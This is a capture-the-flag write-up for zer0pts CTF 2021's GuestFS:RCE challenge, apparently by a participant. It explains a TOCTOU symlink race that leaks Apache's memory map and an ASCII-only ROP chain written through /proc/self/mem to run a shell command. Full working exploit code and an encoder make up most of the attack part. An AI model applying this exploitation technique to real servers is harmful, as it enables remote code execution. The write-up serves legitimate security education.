GuestFS:RCE - zer0pts CTF 2021
Introduction
This challenge is the second part of GuestFS.
We got arbitrary existing file read/write primitive in GuestFS:AFR.
Plan
Since we have arbitrary (existing) file read/write primitive, it's pretty natural to abuse procfs. (Check GuestFS:AFR first if you haven't gained this primitive yet.)
The hint gives us an importatnt information:
This PHP application is working on apache2. Apache2 is, of couse, first run as root user and then drops its privilege to www-data.
Linux doesn't allow such a process to access /proc/self/mem
even after the process is forked. This is because /proc/self/mem
may contain information of the original root user. However, calling prctl
with PR_SET_DUMPABLE
makes it possible. Instead of calling this, the admin can apply this to all the processes by writing "1" to /proc/sys/fs/suid_dumpable
.
So, this hint says "use /proc/self/mem."
Exploitation
Race Condition to Address Leak
Some of you may think it's easy to leak the address from /proc/self/maps
or so.
However, validate_bounds
function makes it hard.
This function checks the file size and doesn't allow out-of-bounds read.
The size of most files in procfs is shown as zero by stat.
The point is that it uses the filepath both to check the file size and to open the file. Between these operations, we have enough time to change the contents of the file.
So, the second vulnerability is TOCTOU. We can read /proc/self/maps
by first pointing a symlink to a large file and second changing the link to /proc/self/maps
.
However, you can't simply abuse a symlink to cause TOCTOU. Apache by default uses MPM to parallelize the socket connection. It forks the parent process multiple times and creats children. If multiple connections are established at the same time, some of the children are used to handle the requests. The point here is that MPM uses the same child process for the same PHP session. So, we must use two sessions to cause the race condition.
In this way we can leak the address of the apache process.
Memory Corruption
We can write data to any part of the apache binary, libraries, stack or wherever in the memory through /proc/self/mem
. However, there's one problem.
PHP opens the file in "write-text" mode and doesn't accept some unprintable characters. It converts some bytes into UTF-8 bytearrays.
What we can write are the ascii characters(0x00-0x7F).
I first came up with injecting an alphanumeric shellcode but it didn't work because alphanumeric shellcode assumes the shellcode region is both writable and executable. In this case, we can inject data through /proc/self/mem
and there's no RWX region in apache process.
My idea is to inject ascii ROP chain writer instead of ascii shellcode.
Injection Point
There are some ways to execute our shellcode. I chose ap_unixd_accept
as the victim.
I put my shellcode starting from the call instruction. This ensures that the registers hold the following constraints when our shellcode is executed.
rax == 0
is very useful.
ASCII ROP
It's not that hard to write ASCII ROP. Contrary to the ordinal(?) alphanumeric shellcode, we can use whatever characters in [0x00, 0x7f].
What we need to use are only the following instructions.
Basically, we push zero (rax) and xor it to create a desired value on stack.
Assume that we want to push 0xdead1234. The following code can accomplish this only with ASCII characters.
After injecting the ROP chain, we just have to run "NOP" until RIP reaches to the nearest ret
instruction on the binary. (Be noticed it's null terminated!)
I wrote an encoder for this trick.
from ptrlib import *
elf = ELF("./apache2")
def ascii_encode(proc_base):
rop_xchg_eax_ebp = proc_base + 0x00054615
rop_pop_rdi = proc_base + 0x00037bd7
rop_pop_rsi = proc_base + 0x00038d16
rop_pop_rdx_rbx = proc_base + 0x00046eef
rop_pop_rbp = proc_base + 0x0003713f
rop_mov_prsi_rdi = proc_base + 0x0006e160
rop_syscall = proc_base + 0x0004662c
addr_arg0 = proc_base
addr_arg1 = proc_base + 10
addr_arg2 = proc_base + 13
addr_args = proc_base + elf.section(".bss") + 0x100
ropchain = [
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 8,
rop_pop_rdi,
addr_arg1,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x10,
rop_pop_rdi,
addr_arg2,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x18,
rop_pop_rdi,
0,
rop_mov_prsi_rdi,
rop_pop_rdx_rbx,
0, 0,
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_pop_rbp,
59,
rop_xchg_eax_ebp,
rop_syscall
]
encoder = [
'push rax',
'pop rdx',
'xor al, 8',
'push rax',
'imul eax, [rsp], 0x10',
'push rax',
'pop rcx',
]
for gadget in ropchain[::-1]:
encoder += ['push rdx']
for i in range(8):
v = (gadget >> (i * 8)) & 0xff
if v == 0: continue
if v >= 0x80:
encoder += [
'push rcx',
'pop rax',
'xor al, {}'.format(v ^ 0x80),
'xor [rsp+{}], al'.format(i)
]
else:
encoder += [
'push rdx',
'pop rax',
'xor al, {}'.format(v),
'xor [rsp+{}], al'.format(i)
]
binary = nasm('\n'.join(encoder), bits=64)
if len(binary) % 2 != 0:
binary += b'\x35\x44\x44\x44\x44'
binary += b'\x34\x77' * ((0x630 - len(binary)) // 2)
return binary[:-1]
Test
Let's check on gdb.
Continue.
Yay!
Exploit
Chain the leak and memory corruption to win.
from ptrlib import *
from encoder import ascii_encode
import requests
import threading
import re
import hashlib
import time
URL = "http://0.0.0.0:9080/"
r = requests.get(URL)
cookies1 = r.cookies
r = requests.get(URL)
cookies2 = r.cookies
dirname1 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest()
dirname2 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest()
def create(name, target=None, cookies=None):
if cookies is None: cookies = cookies1
if target is None:
r = requests.post(URL,
data={'mode':'create', 'name':name},
cookies=cookies)
else:
r = requests.post(URL,
data={'mode':'create', 'name':name, 'type':1, 'target':target},
cookies=cookies)
return r
def read(name, offset=0, size=-1, cookies=None):
if cookies is None: cookies = cookies1
r = requests.post(URL,
data={'mode':'read', 'name':name, 'offset':offset, 'size':size},
cookies=cookies)
return r
def write(name, data, offset=0, cookies=None):
if cookies is None: cookies = cookies1
r = requests.post(URL,
data={'mode':'write', 'name':name, 'offset':offset, 'data':data},
cookies=cookies)
return r
def delete(name, cookies=None):
if cookies is None: cookies = cookies1
r = requests.post(URL,
data={'mode':'delete', 'name':name},
cookies=cookies)
return r
proc_base = 0
win = False
def reader():
global proc_base, win
while True:
print("b", end="", flush=True)
r = read("evil", cookies=cookies2)
if "r-xp" in r.text:
break
leak = re.findall("([0-9a-f]+)\-[0-9a-f]+ r\-\-p", r.text)[0]
proc_base = int(leak, 16)
win = True
def linker():
global win
while not win:
print("a", end="", flush=True)
delete("victim", cookies=cookies1)
create("evil", "../../../../../../../../../../../../../proc/self/maps", cookies=cookies1)
delete("victim", cookies=cookies1)
create("evil", "../../../../../../../../../../../../../var/www/html/index.php", cookies=cookies1)
create("victim", cookies=cookies1)
create("middle", "victim", cookies=cookies1)
create("evil", "middle", cookies=cookies1)
create("evil", f"../{dirname1}/middle", cookies=cookies2)
t1 = threading.Thread(target=reader)
t2 = threading.Thread(target=linker)
t1.start()
t2.start()
t1.join()
t2.join()
"""
proc_base = 0x5609e2c1d000 # you can fix it once you leak it as it's forked
#"""
logger.info("proc = " + hex(proc_base))
ap_unixd_accept_call = 0x7e67c
for i in range(10):
delete("victim", cookies=cookies1)
create("evil", "../../../../../../../../../../../../../proc/self/mem", cookies=cookies1)
offset = proc_base
data = b'/bin/bash\0-c\0/bin/cat /flag*>/tmp/hogetaro'
write("evil", data, offset, cookies=cookies1)
time.sleep(1)
offset = proc_base + ap_unixd_accept_call
data = ascii_encode(proc_base)
write("evil", data, offset, cookies=cookies1)
Encoder:
from ptrlib import *
elf = ELF("./apache2")
def ascii_encode(proc_base):
rop_xchg_eax_ebp = proc_base + 0x00054615
rop_pop_rdi = proc_base + 0x00037bd7
rop_pop_rsi = proc_base + 0x00038d16
rop_pop_rdx_rbx = proc_base + 0x00046eef
rop_pop_rbp = proc_base + 0x0003713f
rop_mov_prsi_rdi = proc_base + 0x0006e170
rop_syscall = proc_base + 0x0004662c
addr_arg0 = proc_base
addr_arg1 = proc_base + 10
addr_arg2 = proc_base + 13
addr_args = proc_base + elf.section(".bss") + 0x100
ropchain = [
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 8,
rop_pop_rdi,
addr_arg1,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x10,
rop_pop_rdi,
addr_arg2,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x18,
rop_pop_rdi,
0,
rop_mov_prsi_rdi,
rop_pop_rdx_rbx,
0, 0,
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_pop_rbp,
59,
rop_xchg_eax_ebp,
rop_syscall
]
encoder = [
'push rax',
'pop rdx',
'xor al, 8',
'push rax',
'imul eax, [rsp], 0x10',
'push rax',
'pop rcx',
]
for gadget in ropchain[::-1]:
encoder += ['push rdx']
for i in range(8):
v = (gadget >> (i * 8)) & 0xff
if v == 0: continue
if v >= 0x80:
encoder += [
'push rcx',
'pop rax',
'xor al, {}'.format(v ^ 0x80),
'xor [rsp+{}], al'.format(i)
]
else:
encoder += [
'push rdx',
'pop rax',
'xor al, {}'.format(v),
'xor [rsp+{}], al'.format(i)
]
binary = nasm('\n'.join(encoder), bits=64)
if len(binary) % 2 != 0:
binary += b'\x35\x44\x44\x44\x44'
binary += b'\x34\x77' * ((0x630 - len(binary)) // 2)
return binary[:-1]